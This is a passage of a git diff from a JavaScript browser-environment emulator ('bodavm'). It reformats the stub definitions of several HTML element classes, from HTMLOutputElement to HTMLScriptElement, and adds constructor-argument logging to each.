bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "remove", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLOutputElement.js b/env_xbb_lastest_jsdom/env/HTMLOutputElement.js index 81e3682d..53df1a26 100644 --- a/env_xbb_lastest_jsdom/env/HTMLOutputElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLOutputElement.js @@ -1,18 +1,131 @@ -// HTMLOutputElement对象 -bodavm.memory.globalobj['HTMLOutputElement'] = function HTMLOutputElement(){if (!(this instanceof HTMLOutputElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOutputElement'], "HTMLOutputElement"); -bodavm.memory.globalobj['HTMLOutputElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOutputElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOutputElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "setCustomValidity", arguments)}},'prototype'); +// HTMLOutputElement对象 + +bodavm.memory.globalobj['HTMLOutputElement'] = function HTMLOutputElement() { + console.log_copy('HTMLOutputElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOutputElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOutputElement'], "HTMLOutputElement"); +bodavm.memory.globalobj['HTMLOutputElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOutputElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "htmlFor", { + configurable: true, + enumerable: true, + get: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_get", arguments); + }, + set: function htmlFor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "htmlFor_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_get", arguments); + }, + set: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "defaultValue_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOutputElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOutputElement'].prototype, "HTMLOutputElement", "setCustomValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLParagraphElement.js b/env_xbb_lastest_jsdom/env/HTMLParagraphElement.js index 0e122e0d..59f14b96 100644 --- a/env_xbb_lastest_jsdom/env/HTMLParagraphElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLParagraphElement.js @@ -1,6 +1,29 @@ -// HTMLParagraphElement对象 -bodavm.memory.globalobj['HTMLParagraphElement'] = function HTMLParagraphElement(){if (!(this instanceof HTMLParagraphElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParagraphElement'], "HTMLParagraphElement"); -bodavm.memory.globalobj['HTMLParagraphElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLParagraphElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLParagraphElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_set", arguments)}},'prototype'); +// HTMLParagraphElement对象 + +bodavm.memory.globalobj['HTMLParagraphElement'] = function HTMLParagraphElement() { + console.log_copy('HTMLParagraphElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLParagraphElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParagraphElement'], "HTMLParagraphElement"); +bodavm.memory.globalobj['HTMLParagraphElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLParagraphElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLParagraphElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParagraphElement'].prototype, "HTMLParagraphElement", "align_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLParamElement.js b/env_xbb_lastest_jsdom/env/HTMLParamElement.js index b22b21c0..d6bcbcdc 100644 --- a/env_xbb_lastest_jsdom/env/HTMLParamElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLParamElement.js @@ -1,9 +1,59 @@ -// HTMLParamElement对象 -bodavm.memory.globalobj['HTMLParamElement'] = function HTMLParamElement(){if (!(this instanceof HTMLParamElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParamElement'], "HTMLParamElement"); -bodavm.memory.globalobj['HTMLParamElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLParamElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLParamElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLParamElement', "valueType", {configurable:true, enumerable:true, get:function valueType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_get", arguments)}, set:function valueType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_set", arguments)}},'prototype'); +// HTMLParamElement对象 + +bodavm.memory.globalobj['HTMLParamElement'] = function HTMLParamElement() { + console.log_copy('HTMLParamElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLParamElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLParamElement'], "HTMLParamElement"); +bodavm.memory.globalobj['HTMLParamElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLParamElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLParamElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLParamElement', "valueType", { + configurable: true, + enumerable: true, + get: function valueType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_get", arguments); + }, + set: function valueType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLParamElement'].prototype, "HTMLParamElement", "valueType_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLPictureElement.js b/env_xbb_lastest_jsdom/env/HTMLPictureElement.js index dab45362..7a2293c9 100644 --- a/env_xbb_lastest_jsdom/env/HTMLPictureElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLPictureElement.js @@ -1,5 +1,19 @@ -// HTMLPictureElement对象 -bodavm.memory.globalobj['HTMLPictureElement'] = function HTMLPictureElement(){if (!(this instanceof HTMLPictureElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPictureElement'], "HTMLPictureElement"); -bodavm.memory.globalobj['HTMLPictureElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLPictureElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +// HTMLPictureElement对象 + +bodavm.memory.globalobj['HTMLPictureElement'] = function HTMLPictureElement() { + console.log_copy('HTMLPictureElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLPictureElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPictureElement'], "HTMLPictureElement"); +bodavm.memory.globalobj['HTMLPictureElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLPictureElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLPreElement.js b/env_xbb_lastest_jsdom/env/HTMLPreElement.js index 59872935..bce651b6 100644 --- a/env_xbb_lastest_jsdom/env/HTMLPreElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLPreElement.js @@ -1,6 +1,29 @@ -// HTMLPreElement对象 -bodavm.memory.globalobj['HTMLPreElement'] = function HTMLPreElement(){if (!(this instanceof HTMLPreElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPreElement'], "HTMLPreElement"); -bodavm.memory.globalobj['HTMLPreElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLPreElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLPreElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_set", arguments)}},'prototype'); +// HTMLPreElement对象 + +bodavm.memory.globalobj['HTMLPreElement'] = function HTMLPreElement() { + console.log_copy('HTMLPreElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLPreElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLPreElement'], "HTMLPreElement"); +bodavm.memory.globalobj['HTMLPreElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLPreElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLPreElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLPreElement'].prototype, "HTMLPreElement", "width_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLProgressElement.js b/env_xbb_lastest_jsdom/env/HTMLProgressElement.js index 1a76757c..ad5cef0d 100644 --- a/env_xbb_lastest_jsdom/env/HTMLProgressElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLProgressElement.js @@ -1,9 +1,55 @@ -// HTMLProgressElement对象 -bodavm.memory.globalobj['HTMLProgressElement'] = function HTMLProgressElement(){if (!(this instanceof HTMLProgressElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLProgressElement'], "HTMLProgressElement"); -bodavm.memory.globalobj['HTMLProgressElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLProgressElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "position", {configurable:true, enumerable:true, get:function position (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "position_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLProgressElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "labels_get", arguments)}, set:undefined},'prototype'); +// HTMLProgressElement对象 + +bodavm.memory.globalobj['HTMLProgressElement'] = function HTMLProgressElement() { + console.log_copy('HTMLProgressElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLProgressElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLProgressElement'], "HTMLProgressElement"); +bodavm.memory.globalobj['HTMLProgressElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLProgressElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "max", { + configurable: true, + enumerable: true, + get: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_get", arguments); + }, + set: function max() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "max_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "position", { + configurable: true, + enumerable: true, + get: function position() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "position_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLProgressElement', "labels", { + configurable: true, + enumerable: true, + get: function labels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLProgressElement'].prototype, "HTMLProgressElement", "labels_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLQuoteElement.js b/env_xbb_lastest_jsdom/env/HTMLQuoteElement.js index d74e7cd9..a8e7ea75 100644 --- a/env_xbb_lastest_jsdom/env/HTMLQuoteElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLQuoteElement.js @@ -1,6 +1,29 @@ -// HTMLQuoteElement对象 -bodavm.memory.globalobj['HTMLQuoteElement'] = function HTMLQuoteElement(){if (!(this instanceof HTMLQuoteElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLQuoteElement'], "HTMLQuoteElement"); -bodavm.memory.globalobj['HTMLQuoteElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLQuoteElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLQuoteElement', "cite", {configurable:true, enumerable:true, get:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_get", arguments)}, set:function cite (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_set", arguments)}},'prototype'); +// HTMLQuoteElement对象 + +bodavm.memory.globalobj['HTMLQuoteElement'] = function HTMLQuoteElement() { + console.log_copy('HTMLQuoteElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLQuoteElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLQuoteElement'], "HTMLQuoteElement"); +bodavm.memory.globalobj['HTMLQuoteElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLQuoteElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLQuoteElement', "cite", { + configurable: true, + enumerable: true, + get: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_get", arguments); + }, + set: function cite() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLQuoteElement'].prototype, "HTMLQuoteElement", "cite_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLScriptElement.js b/env_xbb_lastest_jsdom/env/HTMLScriptElement.js index 84e10883..1df8f7bb 100644 --- a/env_xbb_lastest_jsdom/env/HTMLScriptElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLScriptElement.js @@ -1,20 +1,167 @@ -// HTMLScriptElement对象 -bodavm.memory.globalobj['HTMLScriptElement'] = function HTMLScriptElement(){if (!(this instanceof HTMLScriptElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLScriptElement'], "HTMLScriptElement"); 